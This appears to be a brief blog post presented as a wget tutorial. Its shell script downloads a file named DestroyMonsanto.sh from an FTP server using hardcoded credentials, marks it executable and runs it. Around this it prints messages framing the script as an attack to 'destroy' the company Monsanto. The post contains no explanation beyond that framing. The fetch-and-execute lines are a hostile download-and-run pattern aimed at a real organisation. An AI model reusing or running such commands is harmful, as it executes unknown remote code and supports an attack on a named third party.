This is a quick example of how you can use wget to download more then just html files, in this case we will download a shell script off our ftp server and then execute it.
#! /bin/sh
echo -e "\033[1;32;1mAttempting to destroy monsanto before they contaminate the planet with hazardous GMO's"
wget --ftp-user Pathogen --ftp-password hakhub ftp://ftp.drivehq.com:21/DestroyMonsanto.sh
chmod 755 DestroyMonsanto.sh
./DestroyMonsanto.sh
echo "Too late"
No comments:
Post a Comment